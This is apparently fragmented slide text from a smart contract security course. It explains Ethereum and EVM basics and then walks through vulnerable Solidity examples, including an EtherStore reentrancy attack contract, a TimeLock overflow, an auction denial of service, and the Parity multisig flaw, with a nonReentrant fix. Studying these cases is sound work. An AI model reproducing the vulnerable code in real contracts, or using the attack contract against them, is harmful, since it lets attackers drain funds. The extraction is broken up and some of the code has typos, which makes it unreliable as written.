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Introduction to Smart Contractsroot@kali:~ #

Understanding Ethereum and EVMroot@kali:~ #

Smart contract developmentroot@kali:~ #

Common Vulnerabilities in Smart Contractsroot@kali:~ #

Real-Life Smart Contract Hacking Casesroot@kali:~ #

File Actions Edit View Help

root@kali:~ # X



Smart Contract

Test & Deploy

FrontEnd

IPFS. Graphs

Foundry 
Remix

Hardhat

solidityscan
Chai

Ganache

ReactJS
VueJS

JS

Subgraph
Infura

Filebase 

WEB3



WEB3

RPC

Polygonweb3.js webap

end node provider

Views and interacts



FULL NODE ARCHIVE NODE LIGHT NODE
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Stores all blockchain
Data. 

Stores all blockchain
data

Stores block headers

For the last 128 blocks
For all the Blocks in the 
Blockchain

Does not store state

Querying all Etheruem
Blockchain data
Serving as a validator

Querying historical
Blockchain states

Basic blockchain data 
from headers
Participating in 
Ethereum network

Fast CPU with 4+ cores
16GB RAM,  SSD 2TB 
Fast (NVMe)

SDD Fast (NVMe)
Geth 14TB, Erigon: 3TB
25Mb/s bandwidth

CPU with 2+ cores
4GB RAM,  SSD 50GB
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TX Caller
• Nonce
• Gas limit (STARTGAS)
• TO (MSG.SENDER)
• VALUE(MSG.VALUE)
• V.R.S (SIGNED TX WITH SENDER)
• DATA BYTECODE
• INIT



               
          Account state

Address

balance

storage hash

code hash

nonce Account storage

EVM code

World State

An account state could contain EVM code and storage



World state

Address N Account state N

Code       Storage

World state

Address N Account state N

Code       Storage

updated!

EVM
(Ethereum Virtual 

Machine)

input data

Transaction message call



Ethereum Virtual Machine (EVM)
Virtual ROM

PC

Program counter

EVM code

(immutable)

Gas

Gas available

Stack Memory

Machine state 
(volatile)

(Account) Storage 

World state 
(persistent)



EVM code

operationPC

Gas avail

Stack Memory

(Account) Storage 
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PUSH1 0x80           GAS: 3
PUSH1 0x40  GAS: 3
MSTORE  GAS: 3
CALLVALUE  GAS: 2
... 
JUMPI  GAS: 10
POP  GAS: 2 
...
SLOAD  GAS: 200
...

608060405260e080610012600039
6000f3fe60806040526004361060
1c5760003560e01c80632e1a7d4d
14601e575b005b34801560295760
0080fd5b50605360048036036020
811015603e57600080fd5b810190
8080359060200190929190505050
6055565b005b67016345785d8a00
...

High Level Language ByteCode Opcode



Geth

Assembly code

Ethereum 
Client/Node

EVM
Ethereum Virtual Machine

Virtual 
machine

Parity pyethereum cppethereum

Solidity compiler Vyper compiler
Mutan 

compiler

Physical Processor
(x86, x64, ARM …)

。。。

Code
Solidity 

source code
Vyper

source code
Mutan

source code
。。。



Getting Started
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mapping(address => mapping(address => uint))



mapping(address => mapping(address => uint)) public allowance

function approve(address _spender, uint256 _value) public returns (bool success) 
{ allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
} 

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {

require(allowance[_from][msg.sender] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value; 
emit Transfer(_from, _to, _value);
allowance[_from][msg.sender] -= value; 
return true;
}



Turing Completenesspwn@kali:~ #

EVM system vulnerabilitiespwn@kali:~ #

Transaction protocolpwn@kali:~ #

Solidity and programming languagepwn@kali:~ #

Client implementationpwn@kali:~ #

Consensus pwn@kali:~ #

File Actions Edit View Help

pwn@kali:~ # X



    uint public payoutMileStone = 3 ether;
    mapping(address => uint) redeemableEther;
    function play() public payable {
        require(msg.value == 0.5 ether); // each play is 0.5 ether
        uint currentBalance = this.balance + msg.value;
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
    return;
    }
    
 
   function claimReward() public {
        // ensure the game is complete
        require(this.balance == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 

uint currentBalance = this.balance + msg.value;

require(this.balance == finalMileStone);
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require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }

function attackEtherStore() public payable {
       require(msg.value >= 1 ether);
       etherStore.depositFunds.value(1 ether)();
       etherStore.withdrawFunds(1 ether);
  }

function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }

R
ee

nt
ra

nc
yrequire(msg.sender.call.value(_weiToWithdraw)());

etherStore.withdrawFunds(1 ether);

function withdrawFunds(uint256 _weiToWithdraw) public nonReentrantfunction withdrawFunds (uint256 _weiToWithdraw) public {



Modifire nonReentrant () {
require(!locked)
locked = true;
_;
locked = false;

}

Not easy to solve
Nested Calls * External Contract *Dynamic Calls*Time-Dependent Conditions

function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant



contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        balances[msg.sender] = 0;
        msg.sender.transfer(balance);
    }
}
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 lockTime[msg.sender] += _secondsToIncrease;



contract Auction {
    address public highestBidder;
    uint256 public highestBid;

    function bid() public payable {
        require(msg.value > highestBid, "Bid not high enough");
        if (highestBid != 0) {
            payable(highestBidder).transfer(highestBid);
        }
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
}

web3.eth.subscribe('pendingTransactions', (error, result) =>
 { if (!error) { console.log(result); } });

https://etherscan.io/txsPending
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Real-World Example: Parity Multisig Wallet  $31M

function initMultiowned(address[] _owners, uint _required) {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i)
    {
      m_owners[2 + i] = uint(_owners[i]);
      m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;
  } 

function initMultiowned(address[] _owners, uint _required) 

This contract provides a foundation for a secure and distributed way to 
manage funds or execute protected transactions where multiple parties 
must agree. ( GPT4o )
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